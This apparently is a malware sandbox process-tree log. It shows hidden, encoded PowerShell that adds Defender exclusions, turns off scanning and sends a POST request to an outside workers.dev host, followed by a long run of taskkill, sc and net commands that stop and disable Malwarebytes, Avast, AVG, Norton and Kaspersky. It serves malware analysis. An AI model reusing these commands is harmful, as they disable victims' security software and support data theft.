  cmd.exe /c powershell -NoP -NonI -W Hidden -EncodedCommand JABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADIAMAAyADYALQAwADkALQAzADAAXwA3AGMAMwBlAGEAZQBhAGIAMwBhAGUAZgBjADIAYgBhADcAMQA5AGEANgAyAGQAYQAxAGIANQAyADcAMgA3ADcAXwBnAGwAYQBzAHMAdwBvAHIAbQBfAGkAYwBlAGQAaQBkAF8AbAB1AGMAYQAtAHMAdABlAGEAbABlAHIAXwBuAGoAcgBhAHQAXwBzAHQAZQBhAGwAYwAuAGUAeABlACcAIAAtAEYAbwByAGMAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAJwAgAC0ARgBvAHIAYwBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAJwAyADAAMgA2AC0AMAA5AC0AMwAwAF8ANwBjADMAZQBhAGUAYQBiADMAYQBlAGYAYwAyAGIAYQA3ADEAOQBhADYAMgBkAGEAMQBiADUAMgA3ADIANwA3AF8AZwBsAGEAcwBzAHcAbwByAG0AXwBpAGMAZQBkAGkAZABfAGwAdQBjAGEALQBzAHQAZQBhAGwAZQByAF8AbgBqAHIAYQB0AF8AcwB0AGUAYQBsAGMALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIAAnAFMAZQBjAHUAcgBpAHQAeQBIAGUAYQBsAHQAaABIAG8AcwB0AC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABTAGUAYwB1AHIAaQB0AHkAJwAgAC0ARgBvAHIAYwBlADsAIABTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBTAHUAYgBtAGkAdABTAGEAbQBwAGwAZQBzAEMAbwBuAHMAZQBuAHQAIAAyACAALQBGAG8AcgBjAGUAOwAgAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAE0AQQBQAFMAUgBlAHAAbwByAHQAaQBuAGcAIAAwACAALQBGAG8AcgBjAGUAOwAgAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEQAaQBzAGEAYgBsAGUAQQByAGMAaABpAHYAZQBTAGMAYQBuAG4AaQBuAGcAIAAkAHQAcgB1AGUAIAAtAEYAbwByAGMAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBJAG4AdAByAHUAcwBpAG8AbgBQAHIAZQB2AGUAbgB0AGkAbwBuAFMAeQBzAHQAZQBtACAAJAB0AHIAdQBlACAALQBGAG8AcgBjAGUAOwAgAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEQAaQBzAGEAYgBsAGUAUwBjAHIAaQBwAHQAUwBjAGEAbgBuAGkAbgBnACAAJAB0AHIAdQBlACAALQBGAG8AcgBjAGUA
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3660
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -NonI -W Hidden -EncodedCommand JABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADIAMAAyADYALQAwADkALQAzADAAXwA3AGMAMwBlAGEAZQBhAGIAMwBhAGUAZgBjADIAYgBhADcAMQA5AGEANgAyAGQAYQAxAGIANQAyADcAMgA3ADcAXwBnAGwAYQBzAHMAdwBvAHIAbQBfAGkAYwBlAGQAaQBkAF8AbAB1AGMAYQAtAHMAdABlAGEAbABlAHIAXwBuAGoAcgBhAHQAXwBzAHQAZQBhAGwAYwAuAGUAeABlACcAIAAtAEYAbwByAGMAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAJwAgAC0ARgBvAHIAYwBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAJwAyADAAMgA2AC0AMAA5AC0AMwAwAF8ANwBjADMAZQBhAGUAYQBiADMAYQBlAGYAYwAyAGIAYQA3ADEAOQBhADYAMgBkAGEAMQBiADUAMgA3ADIANwA3AF8AZwBsAGEAcwBzAHcAbwByAG0AXwBpAGMAZQBkAGkAZABfAGwAdQBjAGEALQBzAHQAZQBhAGwAZQByAF8AbgBqAHIAYQB0AF8AcwB0AGUAYQBsAGMALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIAAnAFMAZQBjAHUAcgBpAHQAeQBIAGUAYQBsAHQAaABIAG8AcwB0AC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABTAGUAYwB1AHIAaQB0AHkAJwAgAC0ARgBvAHIAYwBlADsAIABTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBTAHUAYgBtAGkAdABTAGEAbQBwAGwAZQBzAEMAbwBuAHMAZQBuAHQAIAAyACAALQBGAG8AcgBjAGUAOwAgAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAE0AQQBQAFMAUgBlAHAAbwByAHQAaQBuAGcAIAAwACAALQBGAG8AcgBjAGUAOwAgAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEQAaQBzAGEAYgBsAGUAQQByAGMAaABpAHYAZQBTAGMAYQBuAG4AaQBuAGcAIAAkAHQAcgB1AGUAIAAtAEYAbwByAGMAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBJAG4AdAByAHUAcwBpAG8AbgBQAHIAZQB2AGUAbgB0AGkAbwBuAFMAeQBzAHQAZQBtACAAJAB0AHIAdQBlACAALQBGAG8AcgBjAGUAOwAgAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEQAaQBzAGEAYgBsAGUAUwBjAHIAaQBwAHQAUwBjAGEAbgBuAGkAbgBnACAAJAB0AHIAdQBlACAALQBGAG8AcgBjAGUA
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Enumerates connected drives
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3152
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7ACAAKABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJwBoAHQAdABwAHMAOgAvAC8AYgBvAHQAYwBvAG4AZgBpAGcAMgAuAG4AdQByAG0AbwBoAGEAbQBtAGEAZAByAGEAZgBpADkAOQA2ADYALgB3AG8AcgBrAGUAcgBzAC4AZABlAHYALwAnACAALQBNAGUAdABoAG8AZAAgAFAATwBTAFQAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAGEAcgBzAGkAbgBnACkALgBDAG8AbgB0AGUAbgB0AA==
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  PID:4136
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM mbamservice.exe >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1732
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM mbamservice.exe
    3⤵
    - Kills process with taskkill
    PID:4556
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "MBAMService" >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1800
- - C:\Windows\system32\sc.exe
    sc stop "MBAMService"
    3⤵
    PID:3196
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "MBAMService" start=disabled >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4240
- - C:\Windows\system32\sc.exe
    sc config "MBAMService" start=disabled
    3⤵
    PID:4168
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "MBAMProtection" >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2200
- - C:\Windows\system32\sc.exe
    sc stop "MBAMProtection"
    3⤵
    - Launches sc.exe
    PID:5976
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "MBAMProtection" start=disabled >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5704
- - C:\Windows\system32\sc.exe
    sc config "MBAMProtection" start=disabled
    3⤵
    PID:1416
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM mbamtray.exe >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2980
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM mbamtray.exe
    3⤵
    PID:5348
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "MBAMChameleon" >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6124
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5440
- - C:\Windows\system32\sc.exe
    sc stop "MBAMChameleon"
    3⤵
    PID:4616
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM mbam.exe >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1876
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM mbam.exe
    3⤵
    PID:4724
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "MBAMChameleon" start=disabled >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5752
- - C:\Windows\system32\sc.exe
    sc config "MBAMChameleon" start=disabled
    3⤵
    PID:5680
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM mbamgui.exe >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5148
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3528
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM mbamgui.exe
    3⤵
    - Kills process with taskkill
    PID:3700
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "MBAMSwissArmy" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2312
- - C:\Windows\system32\sc.exe
    sc stop "MBAMSwissArmy"
    3⤵
    PID:5848
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM MBAMWsc.exe >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5716
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM MBAMWsc.exe
    3⤵
    - Kills process with taskkill
    PID:6100
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "MBAMSwissArmy" start=disabled >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1552
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2688
- - C:\Windows\system32\sc.exe
    sc config "MBAMSwissArmy" start=disabled
    3⤵
    PID:2456
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "MBAMFarflt" >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2644
- - C:\Windows\system32\sc.exe
    sc stop "MBAMFarflt"
    3⤵
    - Launches sc.exe
    PID:5044
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM mbampt.exe >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3636
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM mbampt.exe
    3⤵
    - Kills process with taskkill
    PID:2696
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "MBAMFarflt" start=disabled >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2172
- - C:\Windows\system32\sc.exe
    sc config "MBAMFarflt" start=disabled
    3⤵
    PID:3488
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM MBCfg.exe >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3128
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM MBCfg.exe
    3⤵
    - Kills process with taskkill
    PID:1908
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "MBAMWebProtection" >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4628
- - C:\Windows\system32\sc.exe
    sc stop "MBAMWebProtection"
    3⤵
    PID:3696
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "MBAMWebProtection" start=disabled >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2264
- - C:\Windows\system32\sc.exe
    sc config "MBAMWebProtection" start=disabled
    3⤵
    - Launches sc.exe
    PID:4372
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM AvastSvc.exe >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2856
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM AvastSvc.exe
    3⤵
    - Kills process with taskkill
    PID:4956
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "avast! Antivirus" >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4800
- - C:\Windows\system32\sc.exe
    sc stop "avast! Antivirus"
    3⤵
    PID:5016
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM AvastUI.exe >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5460
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5320
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM AvastUI.exe
    3⤵
    PID:2772
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "avast! Antivirus" start=disabled >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1128
- - C:\Windows\system32\sc.exe
    sc config "avast! Antivirus" start=disabled
    3⤵
    PID:4548
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM aswEngSrv.exe >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5064
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM aswEngSrv.exe
    3⤵
    PID:2040
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "AvastWscReporter" >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4600
- - C:\Windows\system32\sc.exe
    sc stop "AvastWscReporter"
    3⤵
    - Launches sc.exe
    PID:5152
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "AvastWscReporter" start=disabled >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5312
- - C:\Windows\system32\sc.exe
    sc config "AvastWscReporter" start=disabled
    3⤵
    PID:6044
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM aswidsagent.exe >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5336
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3208
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM aswidsagent.exe
    3⤵
    PID:3888
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "aswbIDSAgent" >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3556
- - C:\Windows\system32\sc.exe
    sc stop "aswbIDSAgent"
    3⤵
    - Launches sc.exe
    PID:5700
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "aswbIDSAgent" start=disabled >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1644
- - C:\Windows\system32\sc.exe
    sc config "aswbIDSAgent" start=disabled
    3⤵
    PID:3020
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM avgsvc.exe >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1560
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM avgsvc.exe
    3⤵
    - Kills process with taskkill
    PID:4080
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "aswSP" >nul 2>&1
  2⤵
  PID:2092
- - C:\Windows\system32\sc.exe
    sc stop "aswSP"
    3⤵
    - Launches sc.exe
    PID:5884
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM avgui.exe >nul 2>&1
  2⤵
  PID:4168
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM avgui.exe
    3⤵
    PID:1368
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "aswSP" start=disabled >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:5204
- - C:\Windows\system32\sc.exe
    sc config "aswSP" start=disabled
    3⤵
    PID:2668
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "avast! Firewall" >nul 2>&1
  2⤵
  PID:6076
- - C:\Windows\system32\sc.exe
    sc stop "avast! Firewall"
    3⤵
    PID:6088
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM AVGUI.exe >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:1416
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM AVGUI.exe
    3⤵
    PID:5712
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "avast! Firewall" start=disabled >nul 2>&1
  2⤵
  PID:5496
- - C:\Windows\system32\sc.exe
    sc config "avast! Firewall" start=disabled
    3⤵
    PID:1664
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM avscan.exe >nul 2>&1
  2⤵
  PID:5440
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM avscan.exe
    3⤵
    PID:2452
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "aswbIDSAgent" >nul 2>&1
  2⤵
  PID:1060
- - C:\Windows\system32\sc.exe
    sc stop "aswbIDSAgent"
    3⤵
    PID:5236
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "aswbIDSAgent" start=disabled >nul 2>&1
  2⤵
  PID:2484
- - C:\Windows\system32\sc.exe
    sc config "aswbIDSAgent" start=disabled
    3⤵
    PID:3528
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM wsc_proxy.exe >nul 2>&1
  2⤵
  PID:3848
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM wsc_proxy.exe
    3⤵
    PID:3428
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "AVGSvc" >nul 2>&1
  2⤵
  PID:1424
- - C:\Windows\system32\sc.exe
    sc stop "AVGSvc"
    3⤵
    PID:2552
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "AVGSvc" start=disabled >nul 2>&1
  2⤵
  PID:508
- - C:\Windows\system32\sc.exe
    sc config "AVGSvc" start=disabled
    3⤵
    - Launches sc.exe
    PID:5984
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM overseer.exe >nul 2>&1
  2⤵
  PID:2688
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM overseer.exe
    3⤵
    - Kills process with taskkill
    PID:3716
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "avgwd" >nul 2>&1
  2⤵
  PID:4352
- - C:\Windows\system32\sc.exe
    sc stop "avgwd"
    3⤵
    - Launches sc.exe
    PID:3748
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM NortonSecurity.exe >nul 2>&1
  2⤵
  PID:5476
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM NortonSecurity.exe
    3⤵
    - Kills process with taskkill
    PID:4184
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "avgwd" start=disabled >nul 2>&1
  2⤵
  PID:3360
- - C:\Windows\system32\sc.exe
    sc config "avgwd" start=disabled
    3⤵
    PID:4412
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "NortonSecurity" >nul 2>&1
  2⤵
  PID:1576
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4312
- - C:\Windows\system32\sc.exe
    sc stop "NortonSecurity"
    3⤵
    PID:3760
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM ns.exe >nul 2>&1
  2⤵
  PID:3768
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM ns.exe
    3⤵
    PID:1340
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "NortonSecurity" start=disabled >nul 2>&1
  2⤵
  PID:3944
- - C:\Windows\system32\sc.exe
    sc config "NortonSecurity" start=disabled
    3⤵
    - Launches sc.exe
    PID:5584
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "Norton AntiVirus" >nul 2>&1
  2⤵
  PID:5436
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5808
- - C:\Windows\system32\sc.exe
    sc stop "Norton AntiVirus"
    3⤵
    PID:1456
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM ccSvcHst.exe >nul 2>&1
  2⤵
  PID:720
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM ccSvcHst.exe
    3⤵
    PID:5320
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "Norton AntiVirus" start=disabled >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:5452
- - C:\Windows\system32\sc.exe
    sc config "Norton AntiVirus" start=disabled
    3⤵
    PID:1724
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "navapsvc" >nul 2>&1
  2⤵
  PID:2040
- - C:\Windows\system32\sc.exe
    sc stop "navapsvc"
    3⤵
    PID:3184
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM navapsvc.exe >nul 2>&1
  2⤵
  PID:3380
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM navapsvc.exe
    3⤵
    PID:2360
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "navapsvc" start=disabled >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:4932
- - C:\Windows\system32\sc.exe
    sc config "navapsvc" start=disabled
    3⤵
    PID:1792
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM avp.exe >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:3244
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM avp.exe
    3⤵
    - Kills process with taskkill
    PID:3252
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "AVP" >nul 2>&1
  2⤵
  PID:3208
- - C:\Windows\system32\sc.exe
    sc stop "AVP"
    3⤵
    PID:3272
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "AVP" start=disabled >nul 2>&1
  2⤵
  PID:1216
- - C:\Windows\system32\sc.exe
    sc config "AVP" start=disabled
    3⤵
    PID:4888
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM avpui.exe >nul 2>&1
  2⤵
  PID:3476
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM avpui.exe
    3⤵
    PID:3196
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c net stop MBAMService /y
  2⤵
  - Executes a command shell one-liner
  PID:4556
- - C:\Windows\system32\net.exe
    net stop MBAMService /y
    3⤵
    PID:2416
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop MBAMService /y
      4⤵
      PID:1900
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /FI "WINDOWTITLE eq svchost_guard*" >nul 2>&1
  2⤵
  PID:236
- - C:\Windows\system32\taskkill.exe
    taskkill /F /FI "WINDOWTITLE eq svchost_guard*"
    3⤵
    PID:5712
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "kavfsslp" >nul 2>&1
  2⤵
  PID:4532
- - C:\Windows\system32\sc.exe
    sc stop "kavfsslp"
    3⤵
    PID:3364
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM klnagent.exe >nul 2>&1
  2⤵
  PID:5936
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM klnagent.exe
    3⤵
    PID:5248
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c net stop "Avast Antivirus" /y
  2⤵
  PID:4644
- - C:\Windows\system32\net.exe
    net stop "Avast Antivirus" /y
    3⤵
    PID:3700
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "Avast Antivirus" /y
      4⤵
      PID:2164
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c net stop MBAMProtection /y
  2⤵
  PID:3104
- - C:\Windows\system32\net.exe
    net stop MBAMProtection /y
    3⤵
    PID:4900
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop MBAMProtection /y
      4⤵
      PID:4588
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "kavfsslp" start=disabled >nul 2>&1
  2⤵
  PID:3608
- - C:\Windows\system32\sc.exe
    sc config "kavfsslp" start=disabled
    3⤵
    - Launches sc.exe
    PID:4504
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c net stop "avast! Antivirus" /y
  2⤵
  PID:5848
- - C:\Windows\system32\net.exe
    net stop "avast! Antivirus" /y
    3⤵
    PID:1728
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "avast! Antivirus" /y
      4⤵
      PID:4684
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "KAVFSGT" >nul 2>&1
  2⤵
  PID:1196
- - C:\Windows\system32\sc.exe
    sc stop "KAVFSGT"
    3⤵
    PID:2972
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /change /tn "Malwarebytes TrayApp" /disable
  2⤵
  PID:4048
- - C:\Windows\system32\schtasks.exe
